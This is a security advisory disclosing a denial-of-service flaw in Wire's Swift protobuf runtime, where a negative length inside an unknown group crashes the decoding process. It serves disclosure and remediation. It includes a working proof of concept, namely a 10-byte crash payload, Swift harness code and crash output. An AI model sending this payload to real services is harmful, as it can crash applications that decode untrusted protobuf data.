Details
### Summary
Wire's Swift runtime (`Wire` SPM/CocoaPods product, implemented by
`wire-runtime-swift`) did not reject a negative `LENGTH_DELIMITED` field length
while skipping an unknown protobuf group. A crafted 10-byte protobuf payload
could cause `ProtoReader.skipGroup()` to read a length-delimited field whose
varint decodes to a negative `Int32`. That negative value was then passed to
`ReadBuffer.readData(count:)`.
`ReadBuffer` checked only that the requested read did not go past the end of
the buffer. It did not reject negative counts. As a result, a negative count
could pass the bounds check and reach Foundation's `Data(bytes:count:)`, which
traps and aborts the process (`Signal 5` / SIGTRAP) instead of throwing Wire's
documented `ProtoDecoder.Error`.
This is the Swift sibling of the Kotlin/JVM negative-length-in-`skipGroup()`
issue fixed in `com.squareup.wire:wire-runtime` 6.3.0
(`CVE-2026-45799`, `GHSA-7xpr-hc2w-34m9`). That earlier fix added a
`length < 0` rejection to the Kotlin readers. The functionally similar Swift
`ProtoReader.skipGroup()` path was not covered by that fix and remained
vulnerable in released Swift runtime versions through `6.4.0`, and in Wire 7
alpha releases through `7.0.0-alpha03`.
The issue is fixed for the supported 6.x release line in Wire `6.4.1`.
`skipGroup()` runs for any unknown field with wire type 3 (`START_GROUP`), so
no schema knowledge is required. A service decoding any message type with
`ProtoDecoder.decode(_:from:)` over untrusted bytes can be reached by sending an
unknown group field.
### Impact
Denial of service.
A single 10-byte attacker-controlled protobuf payload can abort the process
with an unrecoverable runtime trap. Callers following Wire's documented Swift
API generally expect `ProtoDecoder.decode(_:from:)` to throw catchable decoding
errors such as `ProtoDecoder.Error`. They cannot catch a SIGTRAP from
Foundation's `Data(bytes:count:)`.
Any Swift process that decodes untrusted protobuf data with Wire's Swift
runtime may be affected. Examples include iOS, macOS, or server-side Swift
applications that accept protobuf request bodies, websocket frames, stored
messages, queue payloads, files, or any other attacker-controlled serialized
protobuf bytes.
The vulnerability requires:
- The application decodes untrusted protobuf bytes with Wire's Swift runtime.
- The attacker can provide a protobuf payload containing an unknown
`START_GROUP` field.
- That group contains a `LENGTH_DELIMITED` field whose encoded length decodes
to a negative signed 32-bit value.
The attacker does not need:
- Authentication.
- User interaction.
- Knowledge of the target message schema.
- A valid known field number in the target schema.
### Affected Products
#### Swift Package Manager / CocoaPods `Wire`
Affected versions:
- All released Swift runtime versions through `6.4.0`.
- Wire 7 alpha releases through `7.0.0-alpha03`.
Patched versions:
- `6.4.1` for the supported 6.x release line.
- `7.0.0-alpha04` for the 7.x alpha line (the first 7.x release containing
PR #3616).
Recommended action:
- Upgrade to Wire `6.4.1` or later on the supported stable line.
- If using a Wire 7 alpha release, upgrade to `7.0.0-alpha04` or a later 7.x
release containing PR #3616.
### Vulnerable Code
The vulnerable code was in
`wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`,
`skipGroup(expectedEndTag:unknownFieldsWriter:)`:
```swift
case .lengthDelimited:
let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128
state = .lengthDelimited(length: Int(length))
let data = try readData() // no length >= 0 check
try unknownFieldsWriter.encode(tag: tag, value: data)
```
`ProtoReader.readData()` then forwarded the stored negative length to the
buffer:
```swift
func readData() throws -> Data {
guard case let .lengthDelimited(length) = state else {
fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED")
}
state = .tag
return try buffer.readData(count: length) // count = -128
}
```
The bounds check in
`wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` checked only
the upper bound. A negative count could pass this guard and then be handed to
Foundation:
```swift
func verifyAdditional(count: Int) throws {
guard pointer.advanced(by: count) <= end else { // pointer + (-128) <= end is true
throw ProtoDecoder.Error.unexpectedEndOfData
}
}
func readData(count: Int) throws -> Data {
try verifyAdditional(count: count) // negative count passes the guard
let data = Data(bytes: pointer, count: count) // Data(bytes:count:) with count = -128 traps
pointer = pointer.advanced(by: count)
return data
}
```
The normal typed length-delimited decode path is comparatively shielded by
other state transitions. The schema-agnostic unknown-group skip path was the
important path because it threaded an unvalidated signed length into
`ReadBuffer.readData(count:)`.
### How Input Reaches the Sink
The reachable decoding path is:
```text
ProtoDecoder.decode(_:from:)
-> message init(from: ProtoReader)
-> ProtoReader.nextTag(token:)
-> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:)
-> ProtoReader.readData()
-> ReadBuffer.readData(count:)
-> Data(bytes:count:)
```
When `ProtoReader.nextTag(token:)` sees an unknown field with wire type
`START_GROUP`, it calls the private `skipGroup(...)` helper. Inside that
skipped group, an inner `LENGTH_DELIMITED` field with a negative varint length
reaches `readData()`, then `ReadBuffer.readData(count:)`, then
`Data(bytes:count:)`.
The outer field number is arbitrary. The proof of concept uses field 99, but
the field does not need to exist in the target schema because unknown-field
skipping is schema-agnostic.
### Proof Of Concept
The following proof of concept demonstrates the vulnerable behavior. It uses an
empty `ProtoDecodable` message that treats every field as unknown, so an
unknown `START_GROUP` field drives `ProtoReader.nextTag(token:)` into the
private `skipGroup()` implementation.
`Package.swift`:
```swift
// swift-tools-version:5.9
import PackageDescription
let package = Package(
name: "poc",
platforms: [.macOS(.v12)],
dependencies: [
.package(url: "https://github.com/square/wire.git", exact: "6.4.0")
],
targets: [
.executableTarget(
name: "poc",
dependencies: [.product(name: "Wire", package: "wire")],
path: "Sources/poc"
)
]
)
```
`Sources/poc/main.swift`:
```swift
import Foundation
import Wire
func log(_ s: String) {
FileHandle.standardError.write((s + "\n").data(using: .utf8)!)
}
// A ProtoDecodable message that treats every field as unknown. An unknown
// START_GROUP field drives ProtoReader.nextTag() into the private skipGroup().
struct EmptyMessage: ProtoDecodable {
static var protoSyntax: ProtoSyntax? { .proto2 }
init() {}
init(from reader: ProtoReader) throws {
let token = try reader.beginMessage()
while let _ = try reader.nextTag(token: token) {}
let _: UnknownFields = try reader.endMessage(token: token)
}
}
// hex 9b06 0a 80ffffff0f 9c06
// 0x9B 0x06 field 99, wire type 3 (START_GROUP)
// 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group
// 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint decoding to signed Int32 = -128
// 0x9C 0x06 field 99, END_GROUP
let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])
// Negative control: same group, inner length-delimited field has valid length 0.
let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])
let decoder = ProtoDecoder()
log("=== NEGATIVE CONTROL (valid length 0) ===")
do {
_ = try decoder.decode(EmptyMessage.self, from: benignPayload)
log("negative-control: decoded OK, no crash (expected)")
} catch {
log("negative-control: threw \(type(of: error)): \(error)")
}
log("=== ATTACK (negative length -128 inside skipped group) ===")
do {
_ = try decoder.decode(EmptyMessage.self, from: attackerPayload)
log("attack: decoded OK (not vulnerable / patched)")
} catch let e as ProtoDecoder.Error {
log("attack: threw documented ProtoDecoder.Error: \(e) (not vulnerable / patched)")
} catch {
log("attack: threw unexpected \(type(of: error)): \(error)")
}
log("=== reached end of main (no crash) ===")
```
Build and run:
```bash
swift build
SWIFT_BACKTRACE=enable=yes ./.build/debug/poc
```
Expected behavior on vulnerable versions through `6.4.0`:
```text
=== NEGATIVE CONTROL (valid length 0) ===
negative-control: decoded OK, no crash (expected)
=== ATTACK (negative length -128 inside skipped group) ===
*** Signal 5: Backtracing from 0x191b9d68c... done ***
*** Program crashed: System trap at 0x0000000191b9d68c ***
Thread 0 crashed:
0 specialized Data.InlineData.init(_:) in Foundation
1 [ra] specialized Data.init(bytes:count:) in Foundation
2 [ra] ReadBuffer.readData(count:) at ReadBuffer.swift
3 [ra] ProtoReader.readData() at ProtoReader.swift
4 [ra] ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift
5 [ra] closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift
6 [ra] ProtoReader.nextTag(token:) at ProtoReader.swift
7 [ra] [thunk] EmptyMessage.init(from:) at main.swift
8 [ra] ProtoReader.decode<A>(_:) at ProtoReader.swift
9 [ra] ProtoDecoder.decode<A>(_:from:) at ProtoDecoder.swift
10 [ra] main at main.swift
```
The negative control, which uses the same skipped group structure but with a
valid length of 0, decodes successfully. That demonstrates the crash is caused
by the negative length, not by group-skipping itself.
The attack payload crashes with SIGTRAP inside `Data.init(bytes:count:)`,
reached from the unguarded `skipGroup()` -> `readData()` ->
`ReadBuffer.readData(count:)` path. This runtime trap escapes Wire's documented
`ProtoDecoder.Error` boundary.
Payload:
```text
9b060a80ffffff0f9c06
```
Payload breakdown:
```text
0x9B 0x06 field 99, wire type 3 (START_GROUP)
0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int32
0x9C 0x06 field 99, END_GROUP
```
### Fix
The fix rejects negative lengths before setting the length-delimited reader
state and before calling `readData()`.
Fixed logic in
`wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`:
```swift
case .lengthDelimited:
let length = try Int32(truncatingIfNeeded: buffer.readVarint())
guard length >= 0 else {
throw ProtoDecoder.Error.unexpectedEndOfData
}
state = .lengthDelimited(length: Int(length))
let data = try readData()
try unknownFieldsWriter.encode(tag: tag, value: data)
```
The fix also adds defense in depth in
`wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` by rejecting
negative read counts before pointer arithmetic and before constructing
`Data(bytes:count:)`.
The fix was merged in PR #3616:
https://github.com/square/wire/pull/3616
Fix commit:
https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e
### Patched Behavior
With the fix, the same payload is rejected with a catchable
`ProtoDecoder.Error` instead of aborting the process. Applications can handle
the malformed payload using normal Swift error handling around
`ProtoDecoder.decode(_:from:)`.
### Workarounds
There is no complete application-level workaround if untrusted protobuf bytes
must be decoded with a vulnerable Wire Swift runtime version. Services can
reduce exposure by avoiding protobuf decoding on untrusted inputs, validating
or filtering payloads before decoding, or rejecting protobuf group wire types
at an outer protocol boundary where that is feasible. These mitigations are
not substitutes for upgrading because the vulnerable path is schema-agnostic
unknown-field skipping inside the runtime decoder.
### Recommended Upgrade
Upgrade to Wire `6.4.1` or later.
Swift Package Manager users should update their dependency to a patched tag:
```swift
.package(url: "https://github.com/square/wire.git", from: "6.4.1")
```
CocoaPods users should update the `Wire` pod to `6.4.1` or later.
Wire 7 alpha users should upgrade to `7.0.0-alpha04` or a later 7.x release
that contains PR #3616.
### Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799
This advisory covers the Swift runtime sibling of
`GHSA-7xpr-hc2w-34m9` / `CVE-2026-45799`.
`GHSA-7xpr-hc2w-34m9` fixed the Kotlin/JVM readers in Wire `6.3.0`, but the
Swift runtime had a similar group-skipping path that still accepted negative
lengths. This advisory is tracked separately because it affects the Swift
runtime package and was fixed by a separate Swift runtime PR.
### Credits
Reported by `tonghuaroot`.